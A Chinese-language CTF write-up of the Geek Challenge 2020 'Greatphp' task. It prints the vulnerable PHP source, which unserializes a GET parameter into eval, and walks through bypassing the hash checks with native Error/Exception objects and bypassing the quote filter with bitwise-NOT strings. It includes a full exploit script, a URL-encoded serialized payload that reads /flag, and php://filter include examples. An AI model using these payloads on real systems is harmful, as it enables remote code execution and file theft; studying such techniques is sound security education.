极客大挑战2020-Greatphp
Created At : 2025-04-21 16:19
Count:1.9k
Views 👀 :
极客大挑战2020-Greatphp 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php error_reporting (0 );class SYCLOVER { public $syc ; public $lover ; public function __wakeup ( ) { if ( ($this ->syc != $this ->lover) && (md5 ($this ->syc) === md5 ($this ->lover)) && (sha1 ($this ->syc)=== sha1 ($this ->lover)) ){ if (!preg_match ("/\<\?php|\(|\)|\"|\'/" , $this ->syc, $match )){ eval ($this ->syc); } else { die ("Try Hard !!" ); } } } }if (isset ($_GET ['great' ])){ unserialize ($_GET ['great' ]); } else { highlight_file (__FILE__ ); }?>
代码审计
1 上半部分定义了一个 SYCLOVER 的类,存在 2 个属性syc和lover,同时还定义了一个wake方法将这2 个属性进行强类型比较,和正则匹配,并且syc会传入eval 函数,下半部分就是传入一个great的参数,对这个参数进行反序列化,所以我们目标就明确了,我们需要绕过这个强类型比较,之后在绕过正则表达,最后执行寻找flag的命令.
这里强类型比较可以用数组绕过,但是下面的eval函数不能传入数组。
这里通过PHP的原生类来进行绕过(Error 或者 Exception),这两个类中呢存在一个_toString()的方法属性,意思就是当这两个类的对面需要被转换成字符串的时候就会调用 _toString()
在强类型比较是md5()以及sha1()会将对象转化为字符串从而调用_toString()
原理:
原文链接
1 2 3 4 5 6 7 8 9 在 PHP 的 Exception 类中,构造函数实际上可以接收三个参数,尽管在大多数情况下,只使用前两个参数就足够了。这三个参数分别是: 消息(message):这是一个字符串,用于描述异常的具体原因或情况。它是构造函数的第一个参数,也是必须提供的参数。 代码(code):这是一个整数,用于提供异常的特定代码。它是可选的,但在某些情况下,它可能有助于识别或分类异常。如果没有提供,它默认为 0 。 前一个异常(previous):这是一个 Exception 对象,用于表示当前异常之前发生的异常。这是可选的,但在处理异常的链式传递时非常有用。如果提供了这个参数,那么当前的异常就被视为前一个异常的“子异常”或“后继异常”。 而当该对象作为字符串输出是之后输出消息以及错误代码的行数 ( 重点 )
具体实例:
1 2 3 4 5 6 <?php $a = new Exception ("payload" ,1 );$b = new Exception ("payload" ,2 );echo $a ;echo "\r\n\r\n" ;echo $b ;?>
结果:
1 2 3 4 5 6 7 Exception : payload in E:\CTF\newphp\mixbp.php:2 Stack trace : Exception : payload in E:\CTF\newphp\mixbp.php:2 Stack trace :
所以我们可以通过上面的特性来绕过强类型比较.
之后来构造payload来实现获取flag 注意:上面实现的payload我们可以自己控制
所以我们可以通过 include “/flag” 命令来去把flag值显示在页面上,同时为了绕过正则表达的双引号我们可以通过取反来绕过,那么服务器拿到的效果就是:Exception: include “/flag” in /tmp/sandbox.s0-s0;c501,c742/home/.code.tio:2 Stack trace: ,有点乱很抽象所以我们需要闭合<?php 来实现我们包含flag文件的效果,又因为正则表达过滤了php我们可以用<?php ?> <=> <?=?>来绕过.
所以构造exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class SYCLOVER { public $syc ; public $lover ; public function __construct ($b ,$c ) { $this ->syc = $b ; $this ->lover = $c ; } }$in = ~("/flag" );$payload = "?><?=include~" .$in ."?>" ;$b = new error ($payload ,1 );$c =new error ($payload ,2 );$a = new SYCLOVER ($b ,$c );echo (urlencode (serialize ($a )));?>
执行结果
1 O%3 A8 %3 A%22 SYCLOVER%22 %3 A2 %3 A%7 Bs%3 A3 %3 A%22 syc%22 %3 BO%3 A5 %3 A%22 Error%22 %3 A7 %3 A%7 Bs%3 A10 %3 A%22 %00 %2 A%00 message%22 %3 Bs%3 A20 %3 A%22 %3 F%3 E%3 C%3 F%3 Dinclude%7 E%D0 %99 %93 %9 E%98 %3 F%3 E%22 %3 Bs%3 A13 %3 A%22 %00 Error%00 string%22 %3 Bs%3 A0 %3 A%22 %22 %3 Bs%3 A7 %3 A%22 %00 %2 A%00 code%22 %3 Bi%3 A1 %3 Bs%3 A7 %3 A%22 %00 %2 A%00 file%22 %3 Bs%3 A23 %3 A%22 E%3 A%5 CCTF%5 Cnewphp%5 Cmixbp.php%22 %3 Bs%3 A7 %3 A%22 %00 %2 A%00 line%22 %3 Bi%3 A13 %3 Bs%3 A12 %3 A%22 %00 Error%00 trace%22 %3 Ba%3 A0 %3 A%7 B%7 Ds%3 A15 %3 A%22 %00 Error%00 previous%22 %3 BN%3 B%7 Ds%3 A5 %3 A%22 lover%22 %3 BO%3 A5 %3 A%22 Error%22 %3 A7 %3 A%7 Bs%3 A10 %3 A%22 %00 %2 A%00 message%22 %3 Bs%3 A20 %3 A%22 %3 F%3 E%3 C%3 F%3 Dinclude%7 E%D0 %99 %93 %9 E%98 %3 F%3 E%22 %3 Bs%3 A13 %3 A%22 %00 Error%00 string%22 %3 Bs%3 A0 %3 A%22 %22 %3 Bs%3 A7 %3 A%22 %00 %2 A%00 code%22 %3 Bi%3 A2 %3 Bs%3 A7 %3 A%22 %00 %2 A%00 file%22 %3 Bs%3 A23 %3 A%22 E%3 A%5 CCTF%5 Cnewphp%5 Cmixbp.php%22 %3 Bs%3 A7 %3 A%22 %00 %2 A%00 line%22 %3 Bi%3 A13 %3 Bs%3 A12 %3 A%22 %00 Error%00 trace%22 %3 Ba%3 A0 %3 A%7 B%7 Ds%3 A15 %3 A%22 %00 Error%00 previous%22 %3 BN%3 B%7 D%7 D
效果就成了 : Exception: ?><?=include "/flag"?> in /tmp/sandbox.s0-s0;c501,c742/home/.code.tio:2 Stack trace:
解释:
1 <?php echo include "/flag" ?> 会被执行从而获取到flag的value了,而后面多余的报错会被当成文本内容输出,并且会多一个 “1 ” ,这个 “1 ” 是include 包含成功返回给echo 的.
直接注入拿到flag
1 flag{b3ce1836-928b-4277 -aa62-82e417d3d0aa} 1 in E:\CTF\newphp\mixbp.php:13 Stack trace : #0 {main}
知识点: php原生类 Error/Exception 原理:
原文链接
1 2 3 4 5 6 7 8 9 在 PHP 的 Exception 类中,构造函数实际上可以接收三个参数,尽管在大多数情况下,只使用前两个参数就足够了。这三个参数分别是: 消息(message):这是一个字符串,用于描述异常的具体原因或情况。它是构造函数的第一个参数,也是必须提供的参数。 代码(code):这是一个整数,用于提供异常的特定代码。它是可选的,但在某些情况下,它可能有助于识别或分类异常。如果没有提供,它默认为 0 。 前一个异常(previous):这是一个 Exception 对象,用于表示当前异常之前发生的异常。这是可选的,但在处理异常的链式传递时非常有用。如果提供了这个参数,那么当前的异常就被视为前一个异常的“子异常”或“后继异常”。 而当该对象作为字符串输出是之后输出消息以及错误代码的行数 ( 重点 )
具体实例:
1 2 3 4 5 6 <?php $a = new Exception ("payload" ,1 );$b = new Exception ("payload" ,2 );echo $a ;echo "\r\n\r\n" ;echo $b ;?>
结果:
1 2 3 4 5 6 7 Exception : payload in E:\CTF\newphp\mixbp.php:2 Stack trace : Exception : payload in E:\CTF\newphp\mixbp.php:2 Stack trace :
所以我们可以通过上面的特性来绕过强类型比较.
取反绕过单双引号以及include包含字符串 有时候题目过滤了单双引号,如果没有引号闭合在eval函数内不会被解析执行,我们可以通过取反符号来突破限制,并且include能够字符串进行包含
具体实例:
1 2 3 4 5 6 7 8 <?php $in = "php://filter/convert.base64-encode/resource=mixbp.php" ;$payload = "?><?=include" .$in ."?>" ;$a = new error ($payload ,1 );eval ($a );?>
输出
1 Parse error : syntax error , unexpected ':' , expecting ',' or ';' in E:\CTF\newphp\mixbp.php(5 ) : eval ()'d code on line 1
可以看到没用成功执行包含
使用取反
1 2 3 4 5 6 7 <?php $in = ~"php://filter/convert.base64-encode/resource=mixbp.php" ;$payload = "?><?=include~" .$in ."?>" ;$a = new error ($payload ,1 );eval ($a );?>
输出
1 2 3 4 5 Warning: Use of undefined constant �����Й�����М������ѝ�����Қ�����Ѝ�����������я�� - assumed '�����Й�����М������ѝ�����Қ�����Ѝ�����������я��' (this will throw an Error in a future version of PHP) in E :\CTF\newphp\mixbp.php(5) : eval()'d code on line 1 PD9waHANCiRpbiA9IH4icGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1taXhicC5waHAiOw0KJHBheWxvYWQgPSAiPz48Pz1pbmNsdWRlfiIuJGluLiI/PiI7DQokYSA9IG5ldyBlcnJvcigkcGF5bG9hZCwxKTsNCmV2YWwoJGEpOw0KDQo/Pg==1 in E :\CTF\newphp\mixbp.php:4Stack trace: #0 {main}
虽然报错,但是成功执行
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。